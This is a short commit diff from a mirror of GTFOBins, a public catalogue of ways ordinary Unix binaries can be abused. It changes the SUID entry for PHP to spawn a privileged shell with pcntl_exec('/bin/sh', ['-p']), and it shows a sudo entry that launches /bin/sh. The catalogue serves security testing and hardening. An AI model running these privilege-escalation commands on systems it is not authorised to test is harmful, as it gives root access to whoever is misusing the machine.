1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Fix suid in PHP

This commit is contained in:
Emilio Pinna 2018-10-08 20:56:51 +01:00
parent f14e511218
commit 2377be5a55

View File

@ -41,7 +41,7 @@ functions:
suid:
- code: |
CMD="/bin/sh"
./php -r "system('$CMD');"
./php -r "pcntl_exec('/bin/sh', ['-p']);"
sudo:
- code: |
CMD="/bin/sh"